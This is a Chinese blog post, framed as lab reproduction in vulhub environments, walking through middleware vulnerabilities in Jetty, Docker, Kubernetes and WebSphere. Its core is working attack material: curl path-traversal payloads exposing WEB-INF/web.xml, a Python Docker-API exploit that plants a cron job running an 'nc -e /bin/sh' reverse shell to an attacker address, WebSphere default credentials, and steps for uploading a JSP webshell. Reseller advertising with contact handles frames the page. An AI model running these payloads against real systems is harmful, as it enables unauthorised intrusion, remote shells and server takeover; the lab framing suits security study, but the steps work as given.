中间件安全-CVE 复现&K8s&Docker&Jetty&Websphere漏洞复现-CSDN博客
阿里云国内75折 回扣 微信号:monov8 |
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6 |
目录
服务攻防-中间件安全&CVE 复现&K8s&Docker&Jetty&Websphere
中间件及框架列表
IISApacheNginxTomcatDockerK8sWeblogicJBoosWebSphereJenkins GlassFishJettyJiraStruts2LaravelSolrShiroThinkphpSpringFlaskjQuery 等。
中间件所披露的问题
中间件安全-IIS&Apache&Tomcat&Nginx漏洞复现
中间件安全-Weblogic&Jenkins&GlassFish漏洞复现
1、中间件-K8s 安全
2、中间件-Jetty 安全
3、中间件-Docker 安全
4、中间件-WebSphere 安全
常见中间件的安全测试
1、配置不当-解析&弱口令
2、安全机制-特定安全漏洞
3、安全机制-弱口令爆破攻击
4、安全应用-框架特定安全漏洞
中间件安全测试流程
1、判断中间件信息-名称&版本&三方
2、判断中间件问题-配置不当&公开漏洞
3、判断中间件利用-弱口令&EXP&框架漏洞
应用服务安全测试流程
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属-数据库&文件传输&通讯等
3、判断服务利用方式-特定漏洞&未授权&弱口令等
中间件-K8s
中间件-K8s
kubernetes 简称 k8s是一个由 google 开源的用于自动部署扩展和管理容器化应用程序的开源系统。在 B 站内部k8s 在管理生产级容器和应用服务部署已经有较为广泛和成熟的应用。通过k8s可跨多台主机进行容器编排、快速按需扩展容器化应用及其资源、对应用实施状况检查、服务发现和负载均衡等。
K8s相关安全问题以及漏洞复现参考文章k8s对外攻击面总结_k8s漏洞
中间件-Jetty
介绍
Elipse Jetty 是一个开源的 servlet 容器它为基于 Java 的 Web 容器提供运行环境。Jetty是一个开源的HTTP服务器和Servlet引擎它可以为JSP和Servlet提供运行时环境。相对于Tomcatjetty更加轻量、更加简易、更加灵活。
安全问题
CVE-2021-28164-路径信息泄露漏洞
CVE-2021-28169-双重解码信息泄露漏洞
CVE-2021-34429-路径信息泄露漏洞
漏洞复现
CVE-2021-28164-路径信息泄露漏洞
Jetty 版本 9.4.37 引入了有关 URI 解码的更精确的RFC3986实现以及一些新的合规性模式以选择性地允许支持某些在 Servlet 指定的 API 方法行为中可能具有模糊解释的 URI。默认模式允许 % 编码。要排除以进行 URI 规范化的字符RFC 正确但常见 Servlet 实现不假定。
默认合规性模式允许具有包含或分段的 URI 的请求访问 WEB-INF 目录中的受保护资源。例如请求可以检索 web.xml 文件。这可能会泄露有关 Web 应用程序实现的敏感信息。
%2e
%2e%2e
/context/%2e/WEB-INF/web.xml
此错误已在版本 9.4.39 中修复。
靶场vulhub
开启环境
访问
payload
//访问敏感文件 Web.xml /WEB-INF/web.xml
//用于绕过限制%2e/
curl -v "http://192.168.100.134:8080/%2e/WEB-INF/web.xml"
或使用burp抓包发送请求或直接使用浏览器直接url请求
http://you-ip:8080/%2e/WEB-INF/web.xml
CVE-2021-28169双重解码信息泄露漏洞
介绍
在版本 9.4.40、10.0.2、11.0.2 之前Jetty Servlet 中的 and 类受到双重解码错误的影响。如果开发人员手动使用这两个类攻击者可以使用它们下载 WEB-INF 目录中的任意敏感文件。
ConcatServlet
WelcomeFilter
靶场vulhub
开启环境
访问
payload
//访问敏感文件 Web.xml。 /static?/WEB-INF/web.xml
//双 URL 编码以绕过限制W
curl -v "http://your-ip:8080/static?/%2557EB-INF/web.xml"
curl -v "http://192.168.100.134:8080/static?/%2557EB-INF/web.xml"
使用浏览器发送url请求或使用burp抓包修改数据包发送请求也可以
http://you-ip:8080/static?/WEB-INF/web.xml
CVE-2021-34429路径信息泄露漏洞
介绍
Eclipse Jetty 是一个 Java Web 服务器和 Java Servlet 容器。
Jetty 9.4.40 修复了一个不明确的路径信息泄露漏洞 CVE-2021-28164CVE-2021-34429 是它的变体和绕过。
有 3 种类型的有效负载会泄露以下内容
WEB-INF/web.xml
基于 Unicode 的 URL 编码
/%u002e/WEB-INF/web.xml
\0
有错误.
/.%00/WEB-INF/web.xml
\0
有错误..
/a/b/..%00/WEB-INF/web.xml
该漏洞影响码头 9.4.37-9.4.42、10.0.1-10.0.5、11.0.1-11.0.5。
靶场vulhub
开启环境
访问
payload
//访问敏感文件 Web.xml。 /WEB-INF/web.xml
//使用有效负载绕过限制 /%u002e/WEB-INF/web.xml
curl -v "http://192.168.100.134:8080/%u002e/WEB-INF/web.xml"
或直接使用浏览器url请求或使用burp抓包发送请求/%u002e/WEB-INF/web.xml
GET /%u002e/WEB-INF/web.xml HTTP/1.1
...
http://192.168.100.134:8080/%u002e/WEB-INF/web.xml
此两种方式以上的两种CVE漏洞也可以利用成功。
中间件-Docker
介绍Docker详解
Docker 是一个开源的应用容器引擎让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中然后发布到任何流行的 Linux或Windows操作系统的机器上也可以实现虚拟化。容器是完全使用沙箱机制相互之间不会有任何接口。
Docker 容器是使用沙盒机制是单独的系统理论上是很安全的通过利用某种手段再结合执行 POC 或 EXP就可以返回一个宿主机的高权限 Shell并拿到宿主机的
root 权限可以直接操作宿主机文件。 它从容器中逃了出来因此我们形象的称为Docker 逃逸漏洞。
//判断容器
1、容器判断
-是否存在.dockerenv 文件
ls -alh /.dockerenv
-查询系统进程的 cgroup 信息
cat /proc/1/cgroup
2、容器逃逸漏洞权限提升
-由内核漏洞引起 ——Dirty COW(CVE-2016-5195)
-由 Docker 软件设计引起——CVE-2019-5736、CVE-2019-14271CVE-2020-15257
-由配置不当引起——开启 privileged特权模式+宿主机目录挂载文件挂载、功能
capabilities机制、sock 通信方式-CVE-2016-5195
//工具地址https://github.com/gebl/dirtycow-docker-vdso
上传到docker环境当中
进入目录执行make进行编译
执行生成的可执行文件即可
安全问题
API 未经授权访问漏洞
…
漏洞复现
守护程序 API 未经授权访问漏洞
靶场vulhub
开启环境
漏洞利用
//exp脚本反弹shell
import docker
client = docker.DockerClient(base_url='http://you-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 攻击者IP 监听端口 -e /bin/sh' >> /tmp/etc/crontabs/rumilc" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
执行脚本
python docker-api.py
开启监听
nc -lvvp 8888
等待反弹即可。
中间件-WebSphere
WebSphere 是 IBM 的软件平台。它包含了编写、运行和监视全天候的工业强度的随需应变 Web 应用程序和跨平台、跨产品解决方案所需要的整个中间件基础设施如服务器、服务和工具。WebSphere 提供了可靠、灵活和健壮的软件。
WebSphere 是一个模块化的平台基于业界支持的开放标准。可以通过受信任和持久的接口将现有资产插入 WebSphere可以继续扩展环境。WebSphere 可以在许多平台上运行包括 Intel、Linux 和 z/OS。
安全问题
反序列化CVE-2015-7450
弱口令 &&后台Getshell
CVE-2020-4450
…
漏洞复现
反序列化CVE-2015-7450
原理
Apache Commons Collections (ACC) 3.2.1及4.0版本未能正确验证用户输入其InvokerTransformer类在反序列化来自可疑域的数据时存在安全漏洞这可使攻击者在用户输入中附加恶意代码并组合运用不同类的readObject()方法在最终类型检查之前执行Java函数或字节码包括调用Runtime.exec()执行本地OS命令。
复现
反序列化漏洞发生位置在SOAP的通信端口8880可使用https发送XML格式数据。
//拉取环境
docker pull iscrosales/websphere7
//开启环境
docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7
等待环境开启后访问即可。如果访问8880端口若出现如下界面则可能存在Java反序列化漏洞。
漏洞利用
可直接使用工具梭哈一键利用RCE以及上传等操作输入url即可
检测并执行过后
执行命令RCE
whoami当前路径pwd
弱口令 &&后台Getshell
弱口令
在6.x至7.0版本后台登陆只需要输入admin作为用户标识无需密码即可登陆后台。
访问9096端口服务
//登录界面
//http://you-ip:9060/ibm/console/unsecureLogon.jsp
http://you-ip:9060/ibm/console
//默认账号密码
websphere/websphere
system/manager
//进入后台
http://you-ip:9060/ibm/console/login.do
弱口令
成功进入后台
后台getshell
1、点击WebSphere 企业应用程序点击安装
2、创建jsp木马文件压缩成zip文件将zip更名为war后缀的文件进行上传上传war包点击下一步
3、填写上下文根关系到你访问的URL
4、保存访问shell即可回到WebSphere 企业应用程序选中war包启动访问shell
http://you-ip:9080/shell.jsp
http://you-ip:9080/1/shell.jsp
通过哥斯拉进行连接进行getshell即可。
操作流程如下
1、点击WebSphere 企业应用程序点击安装
2、创建jsp木马文件压缩成zip文件将zip更名为war后缀的文件进行上传上传war包点击下一步
上传点击下一步
3、一路下一步到填写上下根填写即可填写上下文根关系到你访问的URL。
等待安装
4、保存访问shell即可回到WebSphere 企业应用程序选中war包启动访问shell
安装完成后保存配置
保存主配置后然后回到WebSphere 企业应用程序选中war包启动访问shell
选中点击start
成功
访问shell
http://192.168.100.134:9080/shell.jsp
http://192.168.100.134:9080/1/shell.jsp
接下来通过哥斯拉进行连接
成功连接
命令执行
具体详细复现过程可参考文章
CVE-2020-4450
漏洞原理以及复现可参考
WebSphere 远程代码执行漏洞CVE-2020-4450
其他中间件安全问题以及漏洞复现点击以下链接即可
跳转参考链接如下
中间件安全-CVE复现&IIS&Apache&Tomcat&Nginx漏洞复现
中间件安全-CVE复现&Weblogic&Jenkins&GlassFish漏洞复现
阿里云国内75折 回扣 微信号:monov8 |
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6 |